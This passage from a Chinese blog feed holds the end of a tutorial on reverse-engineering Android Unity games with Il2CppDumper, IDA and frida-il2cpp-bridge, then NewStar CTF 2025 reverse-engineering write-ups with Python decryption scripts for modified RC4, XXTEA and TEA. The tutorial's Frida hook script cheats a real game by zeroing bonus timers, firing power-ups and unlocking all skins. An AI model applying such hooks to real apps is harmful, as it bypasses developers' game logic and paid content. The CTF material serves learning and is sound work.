src="https://img.24kblog.top/app/hide.php?key=dDRvSjgxMlVteGJNMzJYZktUd3FQRS9WUTlJZ29hQWd3d1E9" alt="" data-caption="" loading="lazy"></p><p>Dump 过后可以获得类似下面的文件,不同游戏可能不一样:</p><pre><code>├── DummyDll│ ├── Assembly-CSharp.dll (一般游戏类/方法等会在此文件下,但也有可能修改其它依赖部分)│ ├── __Generated│ ├── Il2CppDummyDll.dll│ ├── Mono.Security.dll│ ├── mscorlib.dll│ ├── SimpleGDPRConsent.Runtime.dll│ ├── System.Configuration.dll│ ├── System.Core.dll│ ├── System.dll│ ├── System.Numerics.dll│ ├── System.Xml.dll│ ├── UnityEngine.AndroidJNIModule.dll│ ├── UnityEngine.AnimationModule.dll│ ├── UnityEngine.AudioModule.dll│ ├── UnityEngine.CoreModule.dll│ ├── UnityEngine.dll│ ├── UnityEngine.GameCenterModule.dll│ ├── UnityEngine.GridModule.dll│ ├── UnityEngine.ImageConversionModule.dll│ ├── UnityEngine.IMGUIModule.dll│ ├── UnityEngine.InputLegacyModule.dll│ ├── UnityEngine.JSONSerializeModule.dll│ ├── UnityEngine.ParticleSystemModule.dll│ ├── UnityEngine.Physics2DModule.dll│ ├── UnityEngine.PhysicsModule.dll│ ├── UnityEngine.SharedInternalsModule.dll│ ├── UnityEngine.SpriteShapeModule.dll│ ├── UnityEngine.TextCoreFontEngineModule.dll│ ├── UnityEngine.TextCoreTextEngineModule.dll│ ├── UnityEngine.TextRenderingModule.dll│ ├── UnityEngine.TilemapModule.dll│ ├── UnityEngine.UI.dll│ ├── UnityEngine.UIElementsModule.dll│ ├── UnityEngine.UIElementsNativeModule.dll│ ├── UnityEngine.UIModule.dll│ ├── UnityEngine.UnityAnalyticsModule.dll│ ├── UnityEngine.UnityWebRequestModule.dll│ ├── UnityEngine.UnityWebRequestTextureModule.dll│ └── UnityEngine.UnityWebRequestWWWModule.dll├── dump.cs├── il2cpp.h *1├── script.json *1└── stringliteral.json *2</code></pre><h3 id="恢复符号表">恢复符号表</h3><p>在 IDA 中打开<code>libil2cpp.so</code>,然后在 File -> Script file 加载 il2cppdumper 提供的脚本,脚本<code>ida_py3.py</code> 加载 <code>*2</code> 的文件,脚本<code>ida_with_struct_py3.py</code>加载 <code>*1</code> 的文件来恢复部分符号表</p><p>过程中可能会有点卡顿,等就对了</p><p>结合 ilspy-vscode 就可以开始静态分析了,使用 ilspy 来逆向 DummyDll 中的内容,来查看有哪些类/方法/属性</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=K0lUM1Faa211WktJOUhNMGdROVEwUGMzSS9PMTUvZzZoZlU9" alt="" data-caption="" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=TUdweGp3VVdKTU1SSGZVczlKMC93ZWJxdWtCRWhMUENqWlE9" alt="" data-caption="" loading="lazy"></p><h2 id="frida-il2cpp-bridge-的部署与使用">frida-il2cpp-bridge 的部署与使用</h2><p>静态分析完可以看看动态分析(其实我都是直接看调用栈的没怎么静态分析(逃))</p><h3 id="部署">部署</h3><p>在一个空文件夹下使用 frida-create -t agent,然后将生成的 <code>package.json</code> 改为以下内容</p><pre><code class="language-json">{ "name": "your-agent-name", "version": "1.0.0", "description": "Frida agent written in TypeScript", "private": true, "main": "agent/index.ts", "type": "module", "scripts": { "prepare": "npm run build", "build": "frida-compile -o _.js -w agent/index.ts", "attach": "run() { frida -U \"$1\" -l _.js --runtime=v8; }; run", "spawn": "run() { frida -U -f \"$1\" -l _.js --runtime=v8; }; run", "app0-spawn": "npm run spawn com.example.application0", "app1": "npm run \"Application1 Name\"", "app1-spawn": "npm run spawn com.example.application1" }, "devDependencies": { "@types/frida-gum": "^19.0.0", "@types/node": "^18.14.0", "frida-il2cpp-bridge": "*" }}</code></pre><p>相关内容:<a href="https://docs.npmjs.com/cli/v7/configuring-npm/package-json/">https://docs.npmjs.com/cli/v7/configuring-npm/package-json/</a></p><h3 id="使用">使用</h3><p>写完脚本 <code>index.ts</code> 可以开两个终端,一个运行:</p><pre><code class="language-shell">npm run build</code></pre><p>来实现实时编译</p><p>另一个运行:</p><pre><code class="language-shell">npm run spawn <游戏包名></code></pre><p>来附加 Frida 到对应游戏上</p><h4 id="查看游戏-Unity-版本">查看游戏 Unity 版本</h4><pre><code class="language-typescript">import "frida-il2cpp-bridge";Il2Cpp.perform(() => { console.log(Il2Cpp.unityVersion);});</code></pre><p>上面的代码是最简短的 frida-il2cpp-bridge 代码,可以查看游戏的 Unity 版本,同时测试 frida-il2cpp-bridge 是否能正常运行</p><h4 id="追踪类">追踪类</h4><pre><code class="language-typescript">Il2Cpp.trace(true).classes(OnlineManager).and().attach(); //trace()为不显示参数及返回值,传入true则显示,</code></pre><p>传入 <code>classes</code> 的类需要提前定义,比如下方:</p><pre><code class="language-typescript">const Assembly = Il2Cpp.domain.assembly("Assembly-CSharp").image;const OnlineManager = Assembly.class("OnlineManager");</code></pre><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MW9JV3hrTXkwUlI0VWp4MmlKTUtVZndKdVREeXpXQUlxakE9" alt="调用栈效果图" data-caption="调用栈效果图" loading="lazy"></p><p>这个代码可以看调用栈,但我这里测试的时候,如果传入 trace 的参数为 true,即显示方法被调用时的实参与返回值时,程序有的时候会显示 <code>Error: access violation accessing 0x1</code> 之类的错误</p><p>这个有点玄学,不知道是为何引起的,重启或许能解决法90%的问题</p><h4 id="修改实参或返回值">修改实参或返回值</h4><pre><code class="language-typescript">GetTimeTillBonus.implementation = function () { console.log("GetTimeTillBonus called, returning 0"); return 0;}</code></pre><p>需要修改的方法需要提前我们定义,比如下方:</p><pre><code class="language-typescript">const GetTimeTillBonus = OnlineManager.method("GetTimeTillBonus");</code></pre><p>正如上面的调用栈所示,这个方法是用来获取每日虫子的剩余时间的,所以使用上方的函数来将剩余时间改为0,这样就实现虫子自由了(虽然改存档也可以,这个游戏的存档在 SharedPrefs 首选项中,用爱玩机工具箱等工具可以直接修改)</p><p>修改前:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cmV2dWtxbVZuMlRlVGtvUzVJWDdwaCtoSHp1bUJkRDJZZEk9" alt="" data-caption="" loading="lazy"></p><p>修改后:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZlF6U09aRllFRW1zRUZGMkxOMFVGQitoSHp1bUJkRDJZZEk9" alt="" data-caption="" loading="lazy"></p><h4 id="调用方法-查看实参">调用方法/查看实参</h4><pre><code class="language-typescript">SeedPecked.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::SeedPecked`); console.log('[+] 参数列表:', args); if (!alreadyFire) { alreadyFire = true; this.method("StartFire").invoke(); } if (!alreadyUFO) { alreadyUFO = true; this.method("LaunchUFOCoroutine").invoke(); } return this.method("SeedPecked").invoke(...args);}</code></pre><p>调用方法需要先获取对应的实例,上面的示例是 <code>SeedPecked</code> 和 <code>StartFire</code>/<code>LaunchUFOCoroutine</code> 在同一个实例中,所以可以直接用 <code>this</code> 来调用,要注意传入的参数是否符合形参要求,否则会报错或者导致应用闪退</p><p>上面的例子也展示了如何查看传入的参数,<code>args</code> 是一个列表,可以打印来查看</p><p>上面的例子实现了啄到种子后直接启用两个道具功能,实现了开挂(我去,桂狗)</p><p>更多的使用方法可以查看官方文档:<a href="https://github.com/vfsfitvnm/frida-il2cpp-bridge/wiki/Snippets">Snippets</a></p><p>下面附上我这次测试的完整代码</p><pre><code class="language-typescript">import "frida-il2cpp-bridge";Il2Cpp.perform(() => { console.log(Il2Cpp.unityVersion); const Assembly = Il2Cpp.domain.assembly("Assembly-CSharp").image; const SkinManager = Assembly.class("SkinManager"); const IsSkinUnlocked = SkinManager.method("IsSkinUnlocked"); const Gameplay = Assembly.class("Gameplay"); const RefreshWorm = Gameplay.method("RefreshWorm"); const SeedPecked = Gameplay.method("SeedPecked"); const StartFire = Gameplay.method("StartFire"); const FinishFire = Gameplay.method("FinishFire"); const LaunchUFOCoroutine = Gameplay.method("LaunchUFOCoroutine"); const FinishUFO = Gameplay.method("FinishUFO"); const OnlineManager = Assembly.class("OnlineManager"); const GetTimeTillBonus = OnlineManager.method("GetTimeTillBonus"); const ClaimBonus = OnlineManager.method("ClaimBonus"); let alreadyFire = false; let alreadyUFO = false; // 下面是控制某代码片段是否运行的 let traceEnabled = false; let cheatEnabled = false; let unlockAllSkinsEnabled = false; let unlimitedWormsEnabled = false; if (cheatEnabled) { SeedPecked.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::SeedPecked`); console.log('[+] 参数列表:', args); if (!alreadyFire) { alreadyFire = true; this.method("StartFire").invoke(); } if (!alreadyUFO) { alreadyUFO = true; this.method("LaunchUFOCoroutine").invoke(); } return this.method("SeedPecked").invoke(...args); } StartFire.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::StartFire`); console.log('[+] 参数列表:', args); return this.method("StartFire").invoke(...args); } FinishFire.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::FinishFire`); console.log('[+] 参数列表:', args); alreadyFire = false; return this.method("FinishFire").invoke(...args); } LaunchUFOCoroutine.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::LaunchUFOCoroutine`); console.log('[+] 参数列表:', args); return this.method("LaunchUFOCoroutine").invoke(...args); } FinishUFO.implementation = function (...args) { console.log(`[+] 成功调用: Gameplay::FinishUFO`); console.log('[+] 参数列表:', args); alreadyUFO = false; return this.method("FinishUFO").invoke(...args); } } if (unlimitedWormsEnabled) { GetTimeTillBonus.implementation = function () { console.log("GetTimeTillBonus called, returning 0"); return 0; } } if (unlockAllSkinsEnabled){ IsSkinUnlocked.implementation = function (...args) { const skinId = args[0]; console.log(`[+] 成功调用: SkinManager::IsSkinUnlocked, skinId: ${skinId}`); return true; } } if (traceEnabled) { Il2Cpp.trace(true).classes(OnlineManager).and().attach(); }});</code></pre><h2 id="参考文章:">参考文章:</h2><p>1.<a href="https://www.52pojie.cn/thread-1891741-1-1.html">[Android 原创] 使用Frida Il2Cpp Bridge 方便地进行Il2Cpp实例Hook</a></p>]]></content>
<summary type="html">本文详细介绍了安卓Unity游戏逆向的完整流程,从准备工具如Il2CppDumper、Frida、IDA Pro,到提取关键文件global-metadata.dat和libil2cpp.so,再到使用Il2CppDumper恢复符号表进行逆向分析。专注于Hook技术与游戏引擎交互逻辑的研究,适合逆向工程初学者和爱好者学习实践。</summary>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="信安" scheme="https://24kblog.top/tags/%E4%BF%A1%E5%AE%89/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="Frida" scheme="https://24kblog.top/tags/Frida/"/>
<category term="Hook" scheme="https://24kblog.top/tags/Hook/"/>
<category term="Unity" scheme="https://24kblog.top/tags/Unity/"/>
<category term="游戏" scheme="https://24kblog.top/tags/%E6%B8%B8%E6%88%8F/"/>
</entry>
<entry>
<title>Newstar CTF 2025 Week 2 Re方向 Write Up</title>
<link href="https://24kblog.top/posts/215059001/"/>
<id>https://24kblog.top/posts/215059001/</id>
<published>2025-11-02T09:50:55.000Z</published>
<updated>2026-03-04T04:26:21.042Z</updated>
<content type="html"><![CDATA[<h2 id="采一朵花,送给艾达(1)">采一朵花,送给艾达(1)</h2><p>打开可以发现 IDA 无法将程序反编译为伪代码了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cUhMTjdXWmhMVEJTUzRMdllEQ0srNEVxbHVUQ09hd3g4TzA9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>查看字符串和汇编可以发现程序添加了花指令</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VUp3OHVudUJ1TFUxbW04TDQ5d1E0YnpRdk03T0tVMkQzQVk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=V0hpRlhmb2RYZVpHZEJmT1VGMEFTbER5SFh5VHRsSkQyQms9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>花指令是企图隐藏掉不想被逆向工程的代码块 (或其它功能) 的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果。</p><p>花指令通常用于加大静态分析的难度。</p><p>有关花指令可以看这几篇文章:</p><ul><li><a href="https://ctf-wiki.org/reverse/platform/windows/anti-debug/junk-code/#:~:text=%E4%BE%8B%E9%A2%98-,%E8%8A%B1%E6%8C%87%E4%BB%A4,-%C2%B6">花指令</a></li><li><a href="https://bbs.kanxue.com/thread-279604.htm">由易到难全面解析CTF中的花指令</a></li></ul><p>如果对汇编不熟悉,手动去花可能会有点麻烦,这里我们可以使用动调来去花</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RVN2M3YrVHBWTUVVYU1lV21Va290RkxKK3RWNk9mS0Q1SUU9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>着重看这几个函数,在汇编处的类似的地方下断点:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aHB6RDZUd211d3pjWlU0Y3p0VjlwOXlWbEZFa3J0VUpES009" alt="image.png" data-caption="image.png" loading="lazy"></p><p>按 F7 步入,IDA 会提示“是否要在RIP处直接创建指令?”</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aUd0NE9UdkJEN2ovL2pneHhGNVd1NFJGTTYzN1Y0SjUyZlE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>点击是,再按 F5 会发现有一些汇编能够被反编译了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=REtGbkFNUGJJTmo4U05iNE1XamhiWVJGTTYzN1Y0SjUyZlE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>继续按 F7 步入,IDA 会一步步重建,最后就可以看到正常反编译的情况了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=QjVncHVWOVhaSVVBUmtMR2dkd3Y3U3JDaVE1NmovODgvSm89" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里使用了 RC4 加密,有密文和密钥,但是直接使用 Cyberchef 无法解出正常的 flag,可以猜测这是非标准的 RC4 加密</p><p>点击 rc4_init 查看,可以发现 IDA 也无法反编译</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UXVPdi94bWhBMklRR0ppQkcwaEt1QTdRV2VPSUs4RTZzY2s9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>用同样的手法,在汇编中那几句类似的语句下断点,然后用动调一步步让 IDA 重建</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=a1lPWWEvVTIyWStQdXJYQ0owK0JTbnJVNkJUaGx2V0ZpYUE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>rc4_crypt 也是一样的手法</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OUlHemVGNGVZK3ZZSEM0VlpyR2o5VTNoQWVPN2pxS0J6alk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这两个函数都是魔改了 RC4 算法,有关 RC4 的部分,可以问问 AI 或者 B站上有视频讲解,这里不再赘述。</p><p>魔改的部分如下:</p><ul><li><p>在 rc4_init 的 S 盒生成中,将标准 RC4 中的 <code>S[i] = i</code> 改为了 <code>S[i] = -i</code></p></li><li><p>而在 rc4_crypt 中,将标准 RC4 中使用的异或改成了加法,这也使得用同一个函数无法进行解密(RC4 的特性是加密函数同时是解密函数,这个特性是使用异或带来的可逆性,感兴趣的同学可以自行搜索位运算,了解他们的特性)</p></li></ul><p>根据上面的内容,写出解密脚本:</p><pre><code class="language-python"># 这些是 16 进制的密文CIPHER = [ 0x1175640343C17FC7, 0xDF23C0F6558CB888, 0xF2F082F69E2E0F4D, 0xE1278329086B51BC, 0x4E4F80B188C6BDCB]KEY = b"EasyJunkCodes"def signed8(x): # 伪代码中将数强制转换为 8 位的 char 类型了,所以这里需要将数映射为 8 位 return x - 256 if x >= 128 else xdef init_S_variant(key_bytes): S = [0]*256 for i in range(256): S[i] = (-signed8(i)) & 0xFF # & 0xFF 是取低八位的操作 i = 0 keylen = len(key_bytes) for j in range(256): i = (S[j] + i + key_bytes[j % keylen]) % 256 S[j], S[i] = S[i], S[j] return Sdef prga_variant(S, length): # 生成密钥流,RC4 的一步 i = j = 0 ks = [] for _ in range(length): i = (i + 1) % 256 j = (S[i] + j) % 256 S[i], S[j] = S[j], S[i] ks_byte = S[(S[i] + S[j]) & 0xFF] ks.append(ks_byte) return ksdef build_ciphertext(): # 用小端序拼接密文,有关端序可以在《深入理解计算机系统》(CS:APP)的 2.1.3 中了解 b = bytearray() for q in CIPHER: b += int(q).to_bytes(8, byteorder='little') return bytes(b)def decrypt(): cipher = build_ciphertext() S = init_S_variant(list(KEY)) ks = prga_variant(S, len(cipher)) # 题目程序是加法,所以要使用加法的逆运算减法才能解密 plain = bytes((c - k) & 0xFF for c, k in zip(cipher, ks)) try: print(plain.decode('ascii')) except Exception: print('error decoding as ascii')if __name__ == "__main__": decrypt()</code></pre><h2 id="OhNativeEnc">OhNativeEnc</h2><p>使用 JADX 打开,在 FirstFragment 类中可以发现使用了 Native 层的函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VGhpd2dSLzJsNjEvZHRRM3lFU0tSM3Nnbk1IcDViWjU2MmM9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>在资源文件 -> lib -> x86_64 -> <a href="http://libohnativeenc.so">libohnativeenc.so</a>,右键导出,然后使用 IDA 打开</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UC90emt2RkVpRldlN0xPVVgzSVRLcEI2aFVjOVVRSmpHV1E9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>找到对应的函数,可以看到小改了 XXTEA 的 delta,将轮数固定为 12 轮</p><p>根据以上内容,可以写出解密代码:</p><pre><code class="language-python">from struct import pack, unpack# 小端序转换def bytes_to_words_le(b): return list(unpack('<' + 'I'*(len(b)//4), b))def words_to_bytes_le(w): return pack('<' + 'I'*len(w), *[x & 0xFFFFFFFF for x in w])def decrypt(v, k): delta = 114514 # 魔改的 Delta rounds = 12 # 固定轮数 mask = 0xFFFFFFFF sum_ = (delta * rounds) & mask while sum_ != 0: e = (sum_ >> 2) & 3 for p in range(len(v) - 1, -1, -1): # 反向循环,XXTEA解密流程 z = v[(p - 1) % len(v)] y = v[(p + 1) % len(v)] mx = (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum_ ^ y) + (k[(p & 3) ^ e] ^ z)) v[p] = (v[p] - mx) & mask sum_ = (sum_ - delta) & mask return v# 密钥与密文的 16 进制key_hex = "54 68 69 73 49 73 41 58 58 74 65 61 4B 65 79 00"data_hex = "B6 53 6E 4D 77 5D 08 D2 FB 2C 63 1E BB 7B 01 9B F5 04 6A F4 0E 84 27 47 64 A1 E4 D9 EF 12 44 37"k = bytes_to_words_le(bytes(int(x, 16) for x in key_hex.split()))v = bytes_to_words_le(bytes(int(x, 16) for x in data_hex.split()))plain = words_to_bytes_le(decrypt(v, k)).rstrip(b'\x00')print(plain.decode('utf-8'))</code></pre><h2 id="Look-at-me-carefully">Look at me carefully</h2><p>先用 IDA 打开,可以发现重复调用了很多遍一样的函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=S1VMaVdJV2JvbDdvSndQL1JxT01IbnMxZ2I2T2hFMUZTdkk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>查看这个函数的内部</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=akRTNklwYWlVUEZQUUdxdUJTTWNnSzhJeVR5VlpDVFdLZ009" alt="image.png" data-caption="image.png" loading="lazy"></p><p>其中,sub_401300 函数并没有对两个字符串做出任何更改</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OGJMY1U4T3h2SVFHR1NuY2tsSWxoWUlPeityQkxHa1BQK3M9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>v4 变更后选择的 switch 的分支总是 case 4 ,而 case 4 里没有对两个字符串做出任何更改</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aXlRZncvWEZYWm4zckEwZkVxTHRTWU9xU1FhSUlETW5EVm89" alt="image.png" data-caption="image.png" loading="lazy"></p><p>sub_401100 函数中,因为 0x55 & 0xAA = 0,而任何数和 0 按位和总是等于零,所以 v5 为零,这样就只会进入 case 0 分支了,v5 变为 3,进入 case 3 分支,v5 变为 4,进入 case 4 分支,v5 变为 7,进入 default 分支,v5 变为 6,进入 case 6 分支,早前 v4 的最低位因最后与 1 按位或,所以最后一位为 1,现在与 0xFE 按位与,而 0xFE 最后一位为 0,所以 v4 最后一位也为 0 ,与只有一位的 1 按位和肯定为 0 ,所以这个分支执行完循环就会终止,而最终 v5 会变为 7,函数的返回值则为 170</p><p>静态分析很复杂,有非常多的位运算,但其实只需要动调就可以看最后 v5 是什么值了</p><p>在返回处下断点,运行到此处会暂停</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=SVpWenIxZGJLbHdUck9uUUZYUTF4S3oxeG8vczU2ZHRHKzg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>光标放在变量上就可以查看变量值了</p><p>回到 sub_1A16E0 可以发现,程序的逻辑不过是将对应第 a3 位的字符分别与170、0xEF、0x45异或后,按顺序依次放在密文中</p><p>而 170 ^ 0xEF ^ 0x45 = 0,任何数和 0 异或都为其本身,所以程序的逻辑就是将对应第 a3 位的字符按顺序依次放在密文中</p><p>由此可以写出解密脚本:</p><pre><code class="language-python">ciphertext = 'cH4_1elo{ookte?0dv_}alafle___5yygume'plaintext = [None] * 38index_list = [27, 5, 6, 9, 28, 18, 32, 29, 4, 11, 15, 17, 22, 8, 34, 16, 19, 7, 26, 35, 2, 14, 21, 0, 1, 25, 13, 23, 20, 30, 33, 10, 3, 12, 24, 31]for i in range(36): plaintext[index_list[i]] = ciphertext[i]for i in range(36): print(plaintext[i], end='')</code></pre><h2 id="尤皮·埃克斯历险记(1)">尤皮·埃克斯历险记(1)</h2><p>这题需要用到除了 IDA 以外的东西了</p><p>使用 DIE(Detect It Easy) 来打开,查看程序属性,这步也叫查壳</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=c29PdExyS25yeTR6ckJTeWhLQXZhZEM5ckFIazM2SjkxUFhy" alt="image.png" data-caption="image.png" loading="lazy"></p><p>可以发现使用了 UPX 壳</p><p>有关壳和 UPX 壳看下面的文章:</p><ul><li><a href="https://hello-ctf.com/hc-reverse/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84%E5%A3%B3/">从零开始的壳</a></li></ul><p>加了 UPX 壳的程序直接使用 IDA 打开函数会特别少,这是 UPX 壳的特征之一</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=YWRzcTJVS0MzdnlISlJRNjFxak1NTkM5ckFIazM2SjkxUFhy" alt="image.png" data-caption="image.png" loading="lazy"></p><p>UPX 壳去除也相对简单,使用工具即可</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RTNBeDNRczRINUducjBJTEJPRUp3TkM5ckFIazM2SjkxUFhy" alt="image.png" data-caption="image.png" loading="lazy"></p><p>再用 IDA 打开就是正常的程序逻辑了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=a0xSMGRlUWpOblhLZ0FibFhtSmhJZEM5ckFIazM2SjkxUFhy" alt="image.png" data-caption="image.png" loading="lazy"></p><p>encrypt 函数如下:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dDhNRWR2V2g5bWJmdXNOMnNoUlhKZEM5ckFIazM2SjkxUFhy" alt="image.png" data-caption="image.png" loading="lazy"></p><p>根据 main 函数和 encrypt 函数的逻辑,可以写出解密脚本:</p><pre><code class="language-python">a = "isfhGJ\tt~cU\ny\nuTjcj\tT~cjQdu~w{\x04\x05qA"for i in a: ii = ord(i) ^ 0x3c if 65 <= 187 - ii <= 90 or 97 <= 187 - ii <= 122: print(chr(187 - ii), end="") elif 48 <= 105 - ii <= 57: print(chr(105 - ii), end="") else: print(chr(ii), end="")</code></pre><h2 id="Forgotten-Code">Forgotten_Code</h2><p>附件是一个 .s 文件,是编译的一个中间阶段:由源代码生成汇编</p><p>关于编译的过程可以上网了解,此处不再赘述</p><p>Windows 环境下,安装 MinGW-w64,用以下指令生成最终的二进制可执行文件:</p><pre><code class="language-shell">x86_64-w64-mingw32-gcc chal.s -o chal.exe</code></pre><p>将二进制文件使用 IDA 打开</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aXhpTGRFUHdrZ28raElWd2g2OGdWS09lb2pidTdmY1BwaXc9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这个程序先判断 flag 是否符合格式,然后检查长度,使用 fn 函数加密,最后与 ezgm 数组对比</p><p>查看 fn 函数内容</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=SFRPSDBxdUNoVys2aGhkZk96bm5ORnVackNrOFdJM3hQVGs9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>题目稍微魔改了 TEA ,将左移改为了加上 16 倍的两部分,还有密钥硬编码</p><p>由此可以写出解密脚本:</p><pre><code class="language-python">#!/usr/bin/env python3import structdef u32(x): return x & 0xFFFFFFFFdef bytes_to_u32_le(b): return struct.unpack("<I", b)[0]def u32_to_bytes_le(x): return struct.pack("<I", u32(x))ezgm = [ 1210405119, 710975774, -90350153, -1958008304, -745722482, 67707510, -86515270, -1728462407]ezgm_u32 = [x & 0xFFFFFFFF for x in ezgm]ng_bytes = b"sp\x7fvuctp|xeb|hv~"# 分块,八字节一组blocks = []for i in range(0, 8, 2): lo = ezgm_u32[i] hi = ezgm_u32[i+1] blocks.append(u32_to_bytes_le(lo) + u32_to_bytes_le(hi))# 密钥先异或 0x11ng_words = [bytes_to_u32_le(ng_bytes[i*4:(i+1)*4]) for i in range(4)]ng_xor = bytes([b ^ 0x11 for b in ng_bytes])ng_xor_words = [bytes_to_u32_le(ng_xor[i*4:(i+1)*4]) for i in range(4)]keys = [ng_xor_words, ng_words, ng_xor_words, ng_words]def tea_decrypt_block(block8, key_words): v0 = bytes_to_u32_le(block8[:4]) v1 = bytes_to_u32_le(block8[4:]) k0, k1, k2, k3 = key_words delta = 0x9E3779B9 sum_ = u32(delta * 32) for _ in range(32): v1 = u32(v1 - ( ((v0<<4) + k2) ^ (v0 + sum_) ^ ((v0>>5) + k3) )) v0 = u32(v0 - ( ((v1<<4) + k0) ^ (v1 + sum_) ^ ((v1>>5) + k1) )) sum_ = u32(sum_ - delta) return u32_to_bytes_le(v0) + u32_to_bytes_le(v1)plaintext_blocks = [tea_decrypt_block(blocks[i], keys[i]) for i in range(4)]flag_inner = b"".join(plaintext_blocks)flag = b"flag{" + flag_inner + b"}"print(flag.decode('ascii'))</code></pre>]]></content>
<summary type="html">本文详细介绍了逆向工程中花指令的识别与去除方法。当IDA无法正常反编译程序时,可能是由于花指令的干扰。文章通过实例展示了如何通过动态调试(动调)来有效去除花指令,帮助读者克服静态分析的困难,提升逆向分析效率。适合对汇编和逆向工程感兴趣的读者学习。</summary>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="WP" scheme="https://24kblog.top/tags/WP/"/>
</entry>
<entry>
<title>Newstar CTF 2025 Week 1 Re方向 Write Up</title>
<link href="https://24kblog.top/posts/2944863376/"/>
<id>https://24kblog.top/posts/2944863376/</id>
<published>2025-11-02T09:47:41.000Z</published>
<updated>2026-03-04T04:26:14.290Z</updated>
<content type="html"><![CDATA[<h2 id="Puzzle">Puzzle</h2><p>这个题目有很多引导,这里就简单讲讲怎么做的</p><p>使用 IDA 打开这个程序,然后按 F5 将汇编转换为伪代码,可以看到主函数的逻辑,以及启动程序时打印在屏幕上的字符串</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bGJuQ1ZSMGZoN0oxOXRrZXNEcHp6d3RtV3NOU2tLdXlsQnc9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>双击 Puzzle_Challenge 可以进入查看这个函数的逻辑</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=a2tad24yN1gwQ3Nld3dLK2tLbk4vd21RWWhlc3ZLNC94TFE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里可以得到 part1 了</p><p>然后按 Esc 返回上一个查看的函数,即主函数</p><p>根据提示按 Shift + F12 查看程序中的字符串</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Q1dYSVJuT3FFTFBuT2RXRndPdXVtVU5jSHlqb2tVb3RPcEE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>双击第一个字符串即可得到 part4</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=b2FWUXlHU2Q3dWl2V0RyWkVhUmNzMmgzY0dRaDM4cFJrQUE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>可以看到下面的 Buffer 中提到了 part2,单击变量名,然后按 X,可以查看引用此变量的函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=TFczSDhCNC9PSHJGSG1tWjlNQ2RpV2FyYkxKTXd5Y3JnMEU9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>选择想要查看的函数,然后按 Enter 或者点击 OK 即可查看函数</p><p><img 